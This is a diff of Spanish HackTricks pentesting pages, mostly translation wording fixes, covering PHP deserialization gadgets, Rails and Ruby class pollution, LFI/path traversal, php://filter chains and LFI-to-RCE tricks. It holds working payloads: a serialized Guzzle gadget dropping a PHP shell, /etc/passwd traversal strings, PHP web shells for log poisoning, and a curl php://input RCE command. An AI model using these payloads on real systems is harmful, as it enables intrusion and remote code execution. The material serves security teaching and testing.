- NOTA: La **carga útil generada no funcionaba**, para que funcionara **modifiqué** esa carga útil **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
|
||||
- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener una **carga útil de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
|
||||
- Puedes ver **primero el cargador siendo cargado y luego la carga útil**.
|
||||
- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar el payload de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
|
||||
- NOTA: El **gadget generado no estaba funcionando**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privado a público**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
|
||||
- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener un **payload de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
|
||||
- Puedes ver **primero el cargador siendo cargado y luego el payload**.
|
||||
```php
|
||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||
```
|
||||
|
||||
@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
||||
#The other ways to load data will through an error as they won't even attempt to
|
||||
#deserialize the python object
|
||||
```
|
||||
El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
|
||||
El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **version >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
|
||||
|
||||
### Exploit Básico
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@ Este es un resumen de la publicación [https://nastystereo.com/security/rails-_j
|
||||
|
||||
## Información básica
|
||||
|
||||
Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero luego también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
|
||||
Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
|
||||
```json
|
||||
{
|
||||
"id": 123,
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Contaminación de Clases en Ruby
|
||||
# Ruby Class Pollution
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Este es un resumen de la publicación [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
## Fusión en Atributos
|
||||
## Merge on Attributes
|
||||
|
||||
Ejemplo:
|
||||
```ruby
|
||||
@ -143,7 +143,7 @@ JSONMergerApp.run(json_input)
|
||||
```
|
||||
### Explicación
|
||||
|
||||
1. **Escalación de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
|
||||
1. **Escalamiento de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
|
||||
2. **Ejecución Remota de Código**: En `health_check`, `instance_eval` ejecuta métodos listados en `protected_methods`. Si un atacante inyecta nombres de métodos personalizados (como `"puts 1"`), `instance_eval` lo ejecutará, lo que lleva a **ejecución remota de código (RCE)**.
|
||||
1. Esto solo es posible porque hay una **instrucción `eval` vulnerable** que ejecuta el valor de cadena de ese atributo.
|
||||
3. **Limitación de Impacto**: Esta vulnerabilidad solo afecta a instancias individuales, dejando otras instancias de `User` y `Admin` sin afectar, limitando así el alcance de la explotación.
|
||||
@ -246,7 +246,7 @@ end
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
## Envenenar las Clases <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
En el siguiente ejemplo es posible encontrar la clase **`Person`**, y las clases **`Admin`** y **`Regular`** que heredan de la clase **`Person`**. También tiene otra clase llamada **`KeySigner`**:
|
||||
```ruby
|
||||
|
||||
@ -13,7 +13,7 @@ Funciones **PHP vulnerables**: require, require_once, include, include_once
|
||||
|
||||
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Archivos LFI2RCE - Interesantes - Ciegos
|
||||
## Ciegas - Interesantes - Archivos LFI2RCE
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -65,7 +65,7 @@ Esto está **resuelto desde PHP 5.4**
|
||||
|
||||
### **Codificación**
|
||||
|
||||
Podrías usar codificaciones no estándar como la codificación doble de URL (y otras):
|
||||
Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -93,9 +93,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
|
||||
- **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -121,7 +121,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
|
||||
@ -177,7 +177,7 @@ Parece que si tienes un Path Traversal en Java y **pides un directorio** en luga
|
||||
|
||||
## Top 25 parameters
|
||||
|
||||
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -209,13 +209,13 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
||||
|
||||
### php://filter
|
||||
|
||||
Los filtros de PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
Los filtros PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
@ -276,12 +276,12 @@ En la publicación original puedes encontrar una explicación detallada de la t
|
||||
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
|
||||
- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
|
||||
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
|
||||
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **pivote con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -339,7 +339,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para cargar archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -374,12 +374,12 @@ Fue posible asignar bloques de tamaños específicos abusando de más filtros ph
|
||||
|
||||
Verifique más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
|
||||
|
||||
@ -404,7 +404,7 @@ Es importante **codificar en URL estas cargas útiles**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) pero el contenido no se muestra.
|
||||
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
|
||||
|
||||
@ -424,14 +424,14 @@ Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell php como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
|
||||
Otras posibles rutas de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -446,16 +446,16 @@ Otras posibles rutas de registro:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### A través de Email
|
||||
### Vía Email
|
||||
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### A través de /proc/\*/fd/\*
|
||||
### Vía /proc/\*/fd/\*
|
||||
|
||||
1. Sube muchas shells (por ejemplo: 100)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD el descriptor de archivo (también puede ser forzado por fuerza bruta)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
|
||||
|
||||
### A través de /proc/self/environ
|
||||
### Vía /proc/self/environ
|
||||
|
||||
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
|
||||
```
|
||||
@ -588,26 +588,4 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### A través de espera eterna + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### A Error Fatal
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
&#xNAN;_Even si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referencias
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podr
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
|
||||
# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -26,14 +26,14 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||
|
||||
[**Este CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) fue resuelto utilizando el truco anterior.
|
||||
|
||||
El atacante hará que el **servidor víctima abra una conexión leyendo un archivo del servidor del atacante** utilizando el protocolo **`compress.zlib`**.
|
||||
El atacante hará que el **servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante** utilizando el **`compress.zlib`** protocolo.
|
||||
|
||||
**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrado por el servidor).
|
||||
**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrada por el servidor).
|
||||
|
||||
**Mientras** la **conexión** siga abierta, el atacante **explotará un LFI cargando el archivo temporal** que controla.
|
||||
|
||||
Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan `<?`**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de cargar su contenido**.
|
||||
Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan `<?`**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de que cargue su contenido**.
|
||||
|
||||
Para más información, consulta la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
|
||||
Para más información, consulte la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,24 +17,24 @@ También, el **número de nombres de archivo potenciales es 62\*62\*62\*62\*62\*
|
||||
|
||||
### Otras técnicas
|
||||
|
||||
Otras técnicas se basan en atacar protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
|
||||
Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
|
||||
Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
|
||||
Esta técnica es **muy similar a la anterior pero sin necesidad de encontrar un zero day**.
|
||||
|
||||
### Técnica de espera eterna
|
||||
|
||||
En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **forzar archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
|
||||
|
||||
**Pros de esta técnica**:
|
||||
**Ventajas de esta técnica**:
|
||||
|
||||
- Solo necesitas controlar una ruta relativa dentro de un include
|
||||
- No requiere nginx o un nivel inesperado de acceso a archivos de registro
|
||||
- No requiere nginx ni un nivel inesperado de acceso a archivos de registro
|
||||
- No requiere un 0 day para causar un fallo de segmentación
|
||||
- No requiere divulgación de ruta
|
||||
|
||||
Los **principales problemas** de esta técnica son:
|
||||
|
||||
- Necesita que un archivo(s) específico(s) esté(n) presente(s) (puede haber más)
|
||||
- La **cantidad insana** de nombres de archivo potenciales: **56800235584**
|
||||
- La **increíble** cantidad de nombres de archivo potenciales: **56800235584**
|
||||
- Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664**
|
||||
- Por defecto, **solo se pueden subir 20 archivos** en una **solicitud única**.
|
||||
- El **número máximo de trabajadores paralelos** del servidor utilizado.
|
||||
@ -65,7 +65,7 @@ Hagamos algunos cálculos:
|
||||
> [!WARNING]
|
||||
> ¡Ten en cuenta que en el ejemplo anterior estamos **completamente DoSing a otros clientes**!
|
||||
|
||||
Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad de camino al número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
|
||||
Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a medio camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
@ -74,7 +74,7 @@ Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP
|
||||
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
||||
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número de segundos indicado, es **eliminada**. Esto significa que, si la solicitud estaba subiendo archivos temporales, porque el **procesamiento de PHP fue detenido**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
|
||||
|
||||
Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de PHP por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
|
||||
Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
|
||||
|
||||
Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
|
||||
|
||||
@ -92,6 +92,6 @@ Sí, es posible generar 100000 archivos temporales en una instancia de tamaño m
|
||||
|
||||
## Nginx
|
||||
|
||||
Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede mejorarse).
|
||||
Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número se puede mejorar).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,12 +11,12 @@ Básicamente, el objetivo del script es **generar una cadena Base64** al **princ
|
||||
Las bases para hacer esto son:
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
|
||||
- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
|
||||
- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea un base64 válido. Da algunos problemas si encuentra un "=" inesperado, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
|
||||
|
||||
El bucle para generar contenido arbitrario es:
|
||||
|
||||
1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente
|
||||
2. aplicar una cadena de conversiones iconv que deje nuestra base64 inicial intacta y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
|
||||
2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
|
||||
3. decodificar en base64 y volver a codificar en base64 la cadena, lo que eliminará cualquier basura en medio
|
||||
4. Volver a 1 si el base64 que queremos construir aún no está terminado
|
||||
5. decodificar en base64 para obtener nuestro código php
|
||||
|
||||
